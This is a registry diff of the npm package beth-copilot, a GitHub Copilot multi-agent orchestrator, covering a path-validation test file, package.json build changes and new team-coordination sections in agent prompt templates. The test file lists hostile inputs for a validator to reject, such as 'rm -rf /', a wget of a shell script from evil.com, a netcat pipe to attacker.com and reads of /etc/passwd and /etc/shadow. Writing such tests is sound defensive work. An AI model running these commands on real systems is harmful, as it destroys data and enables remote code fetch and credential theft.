beth-copilot 1.0.12 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/CHANGELOG.md +47 -0
  2. package/README.md +173 -32
  3. package/bin/cli.js +111 -193
  4. package/dist/cli/commands/doctor.d.ts +25 -0
  5. package/dist/cli/commands/doctor.d.ts.map +1 -0
  6. package/dist/cli/commands/doctor.js +238 -0
  7. package/dist/cli/commands/doctor.js.map +1 -0
  8. package/dist/cli/commands/doctor.test.d.ts +6 -0
  9. package/dist/cli/commands/doctor.test.d.ts.map +1 -0
  10. package/dist/cli/commands/doctor.test.js +137 -0
  11. package/dist/cli/commands/doctor.test.js.map +1 -0
  12. package/dist/cli/commands/index.d.ts +7 -0
  13. package/dist/cli/commands/index.d.ts.map +1 -0
  14. package/dist/cli/commands/index.js +10 -0
  15. package/dist/cli/commands/index.js.map +1 -0
  16. package/dist/cli/commands/quickstart.d.ts +18 -0
  17. package/dist/cli/commands/quickstart.d.ts.map +1 -0
  18. package/dist/cli/commands/quickstart.js +141 -0
  19. package/dist/cli/commands/quickstart.js.map +1 -0
  20. package/dist/core/agents/index.d.ts +6 -0
  21. package/dist/core/agents/index.d.ts.map +1 -0
  22. package/dist/core/agents/index.js +6 -0
  23. package/dist/core/agents/index.js.map +1 -0
  24. package/dist/core/agents/loader.d.ts +49 -0
  25. package/dist/core/agents/loader.d.ts.map +1 -0
  26. package/dist/core/agents/loader.js +217 -0
  27. package/dist/core/agents/loader.js.map +1 -0
  28. package/dist/core/agents/loader.test.d.ts +7 -0
  29. package/dist/core/agents/loader.test.d.ts.map +1 -0
  30. package/dist/core/agents/loader.test.js +144 -0
  31. package/dist/core/agents/loader.test.js.map +1 -0
  32. package/dist/core/agents/types.d.ts +77 -0
  33. package/dist/core/agents/types.d.ts.map +1 -0
  34. package/dist/core/agents/types.js +8 -0
  35. package/dist/core/agents/types.js.map +1 -0
  36. package/dist/core/agents/types.test.d.ts +6 -0
  37. package/dist/core/agents/types.test.d.ts.map +1 -0
  38. package/dist/core/agents/types.test.js +254 -0
  39. package/dist/core/agents/types.test.js.map +1 -0
  40. package/dist/core/skills/index.d.ts +6 -0
  41. package/dist/core/skills/index.d.ts.map +1 -0
  42. package/dist/core/skills/index.js +6 -0
  43. package/dist/core/skills/index.js.map +1 -0
  44. package/dist/core/skills/loader.d.ts +69 -0
  45. package/dist/core/skills/loader.d.ts.map +1 -0
  46. package/dist/core/skills/loader.js +243 -0
  47. package/dist/core/skills/loader.js.map +1 -0
  48. package/dist/core/skills/loader.test.d.ts +7 -0
  49. package/dist/core/skills/loader.test.d.ts.map +1 -0
  50. package/dist/core/skills/loader.test.js +184 -0
  51. package/dist/core/skills/loader.test.js.map +1 -0
  52. package/dist/core/skills/types.d.ts +58 -0
  53. package/dist/core/skills/types.d.ts.map +1 -0
  54. package/dist/core/skills/types.js +8 -0
  55. package/dist/core/skills/types.js.map +1 -0
  56. package/dist/index.d.ts +10 -0
  57. package/dist/index.d.ts.map +1 -0
  58. package/dist/index.js +14 -0
  59. package/dist/index.js.map +1 -0
  60. package/dist/lib/index.d.ts +7 -0
  61. package/dist/lib/index.d.ts.map +1 -0
  62. package/dist/lib/index.js +7 -0
  63. package/dist/lib/index.js.map +1 -0
  64. package/dist/lib/pathValidation.d.ts +69 -0
  65. package/dist/lib/pathValidation.d.ts.map +1 -0
  66. package/dist/lib/pathValidation.js +185 -0
  67. package/dist/lib/pathValidation.js.map +1 -0
  68. package/dist/lib/pathValidation.test.d.ts +9 -0
  69. package/dist/lib/pathValidation.test.d.ts.map +1 -0
  70. package/dist/lib/pathValidation.test.js +195 -0
  71. package/dist/lib/pathValidation.test.js.map +1 -0
  72. package/package.json +15 -3
  73. package/templates/.github/agents/developer.agent.md +9 -0
  74. package/templates/.github/agents/product-manager.agent.md +9 -0
  75. package/templates/.github/agents/researcher.agent.md +9 -0
  76. package/templates/.github/agents/security-reviewer.agent.md +9 -2
  77. package/templates/.github/agents/tester.agent.md +9 -0
  78. package/templates/.github/agents/ux-designer.agent.md +9 -0
  79. package/templates/.github/copilot-instructions.md +3 -3
@@ -0,0 +1,195 @@
1
+ /**
2
+ * Unit tests for TypeScript path validation utilities.
3
+ * Run with: node --test dist/lib/pathValidation.test.js
4
+ *
5
+ * These tests mirror the JavaScript tests in bin/lib/pathValidation.test.js
6
+ * to ensure the TypeScript port maintains the same behavior.
7
+ */
8
+ import { describe, it } from 'node:test';
9
+ import assert from 'node:assert';
10
+ import { containsTraversal, containsShellInjection, checkExecutable, validateBinaryPath, validateBeadsPath, validateBacklogPath, } from './pathValidation.js';
11
+ describe('containsTraversal (TypeScript)', () => {
12
+ it('should detect ../ traversal', () => {
13
+ assert.strictEqual(containsTraversal('../file'), true);
14
+ assert.strictEqual(containsTraversal('path/../file'), true);
15
+ assert.strictEqual(containsTraversal('/path/../file'), true);
16
+ assert.strictEqual(containsTraversal('path/..'), true);
17
+ });
18
+ it('should detect ..\\ traversal (Windows)', () => {
19
+ assert.strictEqual(containsTraversal('..\\file'), true);
20
+ assert.strictEqual(containsTraversal('path\\..\\file'), true);
21
+ assert.strictEqual(containsTraversal('C:\\path\\..\\file'), true);
22
+ });
23
+ it('should detect standalone ..', () => {
24
+ assert.strictEqual(containsTraversal('..'), true);
25
+ });
26
+ it('should allow normal paths', () => {
27
+ assert.strictEqual(containsTraversal('/usr/local/bin/bd'), false);
28
+ assert.strictEqual(containsTraversal('/home/user/.local/bin/bd'), false);
29
+ assert.strictEqual(containsTraversal('C:\\Users\\name\\bin\\bd.exe'), false);
30
+ });
31
+ it('should allow paths with dots in filenames', () => {
32
+ assert.strictEqual(containsTraversal('/path/to/file.test.js'), false);
33
+ assert.strictEqual(containsTraversal('/path/.hidden/file'), false);
34
+ });
35
+ });
36
+ describe('containsShellInjection (TypeScript)', () => {
37
+ it('should detect command chaining characters', () => {
38
+ assert.strictEqual(containsShellInjection('/bin/bd; rm -rf /'), true);
39
+ assert.strictEqual(containsShellInjection('/bin/bd && evil'), true);
40
+ assert.strictEqual(containsShellInjection('/bin/bd || evil'), true);
41
+ assert.strictEqual(containsShellInjection('/bin/bd | grep'), true);
42
+ });
43
+ it('should detect backticks and subshells', () => {
44
+ assert.strictEqual(containsShellInjection('/bin/`whoami`'), true);
45
+ assert.strictEqual(containsShellInjection('/bin/$(whoami)'), true);
46
+ assert.strictEqual(containsShellInjection('/bin/${evil}'), true);
47
+ });
48
+ it('should detect quotes', () => {
49
+ assert.strictEqual(containsShellInjection('/bin/bd"evil"'), true);
50
+ assert.strictEqual(containsShellInjection("/bin/bd'evil'"), true);
51
+ });
52
+ it('should detect redirections', () => {
53
+ assert.strictEqual(containsShellInjection('/bin/bd > /etc/passwd'), true);
54
+ assert.strictEqual(containsShellInjection('/bin/bd < /etc/passwd'), true);
55
+ });
56
+ it('should allow normal paths', () => {
57
+ assert.strictEqual(containsShellInjection('/usr/local/bin/bd'), false);
58
+ assert.strictEqual(containsShellInjection('/home/user/.local/bin/bd'), false);
59
+ assert.strictEqual(containsShellInjection('C:\\Users\\name\\bin\\bd.exe'), false);
60
+ });
61
+ });
62
+ describe('validateBinaryPath (TypeScript)', () => {
63
+ describe('basic validation', () => {
64
+ it('should reject empty paths', () => {
65
+ const result1 = validateBinaryPath('');
66
+ assert.strictEqual(result1.valid, false);
67
+ assert.ok(result1.error?.includes('empty'));
68
+ const result2 = validateBinaryPath(' ');
69
+ assert.strictEqual(result2.valid, false);
70
+ });
71
+ it('should reject paths with traversal', () => {
72
+ const result = validateBinaryPath('../../../etc/passwd');
73
+ assert.strictEqual(result.valid, false);
74
+ assert.ok(result.error?.includes('traversal'));
75
+ });
76
+ it('should reject paths with shell injection', () => {
77
+ const result = validateBinaryPath('/bin/bd; rm -rf /');
78
+ assert.strictEqual(result.valid, false);
79
+ assert.ok(result.error?.includes('dangerous'));
80
+ });
81
+ it('should reject paths with null bytes', () => {
82
+ const result = validateBinaryPath('/bin/bd\0evil');
83
+ assert.strictEqual(result.valid, false);
84
+ assert.ok(result.error?.includes('null'));
85
+ });
86
+ it('should reject excessively long paths', () => {
87
+ const longPath = '/bin/' + 'a'.repeat(5000);
88
+ const result = validateBinaryPath(longPath);
89
+ assert.strictEqual(result.valid, false);
90
+ assert.ok(result.error?.includes('length'));
91
+ });
92
+ });
93
+ describe('allowedBasenames validation', () => {
94
+ it('should reject paths with non-allowed basenames', () => {
95
+ const result = validateBinaryPath('/usr/bin/evil', {
96
+ allowedBasenames: ['bd', 'backlog'],
97
+ checkExists: false,
98
+ });
99
+ assert.strictEqual(result.valid, false);
100
+ assert.ok(result.error?.includes('allowed list'));
101
+ });
102
+ it('should accept paths with allowed basenames', () => {
103
+ const result = validateBinaryPath('/usr/bin/bd', {
104
+ allowedBasenames: ['bd', 'backlog'],
105
+ checkExists: false,
106
+ });
107
+ assert.strictEqual(result.valid, true);
108
+ });
109
+ });
110
+ });
111
+ describe('validateBeadsPath (TypeScript)', () => {
112
+ it('should reject non-bd binaries', () => {
113
+ const result = validateBeadsPath('/usr/bin/evil');
114
+ assert.strictEqual(result.valid, false);
115
+ assert.ok(result.error?.includes('allowed list') || result.error?.includes('not found'));
116
+ });
117
+ it('should reject paths with traversal even for bd', () => {
118
+ const result = validateBeadsPath('../../../usr/bin/bd');
119
+ assert.strictEqual(result.valid, false);
120
+ assert.ok(result.error?.includes('traversal'));
121
+ });
122
+ });
123
+ describe('validateBacklogPath (TypeScript)', () => {
124
+ it('should reject non-backlog binaries', () => {
125
+ const result = validateBacklogPath('/usr/bin/evil');
126
+ assert.strictEqual(result.valid, false);
127
+ assert.ok(result.error?.includes('allowed list') || result.error?.includes('not found'));
128
+ });
129
+ it('should reject paths with shell injection', () => {
130
+ const result = validateBacklogPath('/bin/backlog; rm -rf /');
131
+ assert.strictEqual(result.valid, false);
132
+ assert.ok(result.error?.includes('dangerous'));
133
+ });
134
+ });
135
+ describe('checkExecutable (TypeScript)', () => {
136
+ it('should return exists=false for non-existent files', () => {
137
+ const result = checkExecutable('/nonexistent/path/to/binary');
138
+ assert.strictEqual(result.exists, false);
139
+ assert.strictEqual(result.executable, false);
140
+ });
141
+ it('should detect executable files', () => {
142
+ // Use a known executable on Unix systems
143
+ if (process.platform !== 'win32') {
144
+ const result = checkExecutable('/bin/sh');
145
+ assert.strictEqual(result.exists, true);
146
+ assert.strictEqual(result.executable, true);
147
+ }
148
+ });
149
+ });
150
+ describe('Type exports', () => {
151
+ it('should export ValidationResult type correctly', () => {
152
+ const valid = { valid: true, normalizedPath: '/bin/bd' };
153
+ const invalid = { valid: false, error: 'Test error' };
154
+ assert.strictEqual(valid.valid, true);
155
+ assert.strictEqual(valid.normalizedPath, '/bin/bd');
156
+ assert.strictEqual(invalid.valid, false);
157
+ assert.strictEqual(invalid.error, 'Test error');
158
+ });
159
+ it('should export ExecutableCheckResult type correctly', () => {
160
+ const result = { exists: true, executable: true };
161
+ assert.strictEqual(result.exists, true);
162
+ assert.strictEqual(result.executable, true);
163
+ });
164
+ });
165
+ describe('Attack scenario prevention (TypeScript)', () => {
166
+ it('should prevent path traversal to system files', () => {
167
+ const attacks = [
168
+ '../../../etc/passwd',
169
+ '..\\..\\..\\windows\\system32\\config\\sam',
170
+ '/usr/bin/../../../etc/shadow',
171
+ ];
172
+ for (const attack of attacks) {
173
+ const result = validateBinaryPath(attack);
174
+ assert.strictEqual(result.valid, false, `Should block: ${attack}`);
175
+ }
176
+ });
177
+ it('should prevent command injection via path', () => {
178
+ const attacks = [
179
+ '/bin/bd; cat /etc/passwd',
180
+ '/bin/bd && wget evil.com/shell.sh',
181
+ '/bin/bd | nc attacker.com 1234',
182
+ '/bin/$(whoami)',
183
+ '/bin/`id`',
184
+ ];
185
+ for (const attack of attacks) {
186
+ const result = validateBinaryPath(attack);
187
+ assert.strictEqual(result.valid, false, `Should block: ${attack}`);
188
+ }
189
+ });
190
+ it('should prevent null byte injection', () => {
191
+ const result = validateBinaryPath('/bin/bd\0.txt');
192
+ assert.strictEqual(result.valid, false);
193
+ });
194
+ });
195
+ //# sourceMapping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C;QACnD,MAAM,CAAC,WAAW,CAAC,MAAM,CAAC,KAAK,EAAE,KAAK,CAAC,CAAC;IAC1C,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "beth-copilot",
3
- "version": "1.0.12",
3
+ "version": "1.0.14",
4
4
  "description": "Beth - A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows",
5
5
  "keywords": [
6
6
  "github-copilot",
@@ -27,18 +27,30 @@
27
27
  },
28
28
  "files": [
29
29
  "bin/",
30
+ "dist/",
30
31
  "templates/",
31
32
  "assets/",
32
33
  "sbom.json",
33
34
  "CHANGELOG.md"
34
35
  ],
35
36
  "scripts": {
37
+ "build": "tsc",
38
+ "build:watch": "tsc --watch",
36
39
  "test": "node --test bin/lib/*.test.js",
40
+ "test:ts": "pnpm run build && node --test dist/lib/*.test.js dist/cli/commands/*.test.js dist/core/agents/*.test.js dist/core/skills/*.test.js",
41
+ "test:all": "pnpm run test && pnpm run test:ts",
37
42
  "sbom:generate": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json --output-format JSON",
38
- "prepublishOnly": "npm run sbom:generate"
43
+ "prepublishOnly": "npm run build && npm run sbom:generate"
39
44
  },
40
45
  "engines": {
41
46
  "node": ">=18"
42
47
  },
43
- "type": "module"
48
+ "type": "module",
49
+ "devDependencies": {
50
+ "@types/node": "^20.11.0",
51
+ "typescript": "^5.3.0"
52
+ },
53
+ "dependencies": {
54
+ "gray-matter": "^4.0.3"
55
+ }
44
56
  }
@@ -45,6 +45,15 @@ This project uses a dual tracking system:
45
45
 
46
46
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
47
47
 
48
+ ## Team Coordination
49
+
50
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
51
+
52
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
53
+ - **Report results**: When your task is complete, provide a clear summary of files changed, architecture decisions, and any remaining work
54
+ - **Stay in lane**: Focus on your expertise (React/TypeScript/Next.js implementation); hand off to other specialists via Beth for work outside your domain
55
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
56
+
48
57
  ## First Run: MCP Setup Check
49
58
 
50
59
  **On first activation**, check if the shadcn MCP server is configured:
@@ -41,6 +41,15 @@ This project uses a dual tracking system:
41
41
 
42
42
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
43
43
 
44
+ ## Team Coordination
45
+
46
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
47
+
48
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
49
+ - **Report results**: When your task is complete, provide a clear summary of what you delivered, decisions made, and any follow-up needed
50
+ - **Stay in lane**: Focus on your expertise (product requirements, prioritization, user stories); hand off to other specialists via Beth for work outside your domain
51
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
52
+
44
53
  ## Skills
45
54
 
46
55
  When the user asks to create a PRD, product requirements document, or spec out a feature:
@@ -36,6 +36,15 @@ This project uses a dual tracking system:
36
36
 
37
37
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
38
38
 
39
+ ## Team Coordination
40
+
41
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
42
+
43
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
44
+ - **Report results**: When your task is complete, provide a clear summary of findings, insights, and recommendations
45
+ - **Stay in lane**: Focus on your expertise (user research, competitive analysis, insight synthesis); hand off to other specialists via Beth for work outside your domain
46
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
47
+
39
48
  ## Core Philosophy
40
49
 
41
50
  Research is the foundation of human-centered design:
@@ -1,4 +1,3 @@
1
- ````chatagent
2
1
  ---
3
2
  name: security-reviewer
4
3
  description: Enterprise security specialist applying Azure Well-Architected Framework and OWASP standards. Performs threat modeling, vulnerability assessment, compliance verification, and security architecture review. Use for security audits, penetration testing guidance, secure code review, or compliance validation.
@@ -42,6 +41,15 @@ This project uses a dual tracking system:
42
41
 
43
42
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
44
43
 
44
+ ## Team Coordination
45
+
46
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
47
+
48
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
49
+ - **Report results**: When your task is complete, provide a clear summary of findings with severity ratings, remediation guidance, and compliance status
50
+ - **Stay in lane**: Focus on your expertise (security audits, threat modeling, compliance); hand off to other specialists via Beth for work outside your domain
51
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
52
+
45
53
  ## Skills
46
54
 
47
55
  When performing security analysis, threat modeling, or compliance reviews:
@@ -455,4 +463,3 @@ For security test execution:
455
463
  | **Medium** | Moderate risk, requires specific conditions | Fix within 1 week |
456
464
  | **Low** | Minor issue, defense in depth | Fix in next release |
457
465
 
458
- ````
@@ -46,6 +46,15 @@ This project uses a dual tracking system:
46
46
 
47
47
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
48
48
 
49
+ ## Team Coordination
50
+
51
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
52
+
53
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
54
+ - **Report results**: When your task is complete, provide a clear test report with pass/fail status, issues found, and release readiness recommendation
55
+ - **Stay in lane**: Focus on your expertise (testing, accessibility audits, performance); hand off to other specialists via Beth for work outside your domain
56
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
57
+
49
58
  ## Core Philosophy
50
59
 
51
60
  Quality is not a phase, it's a mindset:
@@ -40,6 +40,15 @@ This project uses a dual tracking system:
40
40
 
41
41
  If Beth spawned you with an issue ID, that issue is your contract. Deliver against it and close it.
42
42
 
43
+ ## Team Coordination
44
+
45
+ **Beth is the orchestrator** who coordinates all agent workflows. You operate as a specialist on Beth's team:
46
+
47
+ - **Spawned by Beth**: You may be invoked as a subagent via `runSubagent` with a specific task and expected deliverables
48
+ - **Report results**: When your task is complete, provide a clear summary of design decisions, specifications, and accessibility requirements
49
+ - **Stay in lane**: Focus on your expertise (interaction design, component specs, accessibility); hand off to other specialists via Beth for work outside your domain
50
+ - **Escalate blockers**: If you hit blockers or need information from other agents, report back to Beth for coordination
51
+
43
52
  ## Skills
44
53
 
45
54
  When designing Framer components or specifying property controls for design system components:
@@ -1,6 +1,6 @@
1
- # AI Agent Skills Demo Repository
1
+ # Beth - AI Agent System
2
2
 
3
- This repository demonstrates GitHub Copilot's multi-agent system with custom agents, skills, and handoffs for building IDEO-style digital products.
3
+ A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows.
4
4
 
5
5
  ## Architecture Overview
6
6
 
@@ -189,7 +189,7 @@ export async function deleteUser(userId: string) {
189
189
 
190
190
  ### Quick Commands
191
191
  ```
192
- @IDEO-Orchestrator Plan a feature for [description]
192
+ @Beth Plan a feature for [description]
193
193
  @product-manager Create a PRD for [feature]
194
194
  @developer Implement [component/feature]
195
195
  @tester Write tests for [component]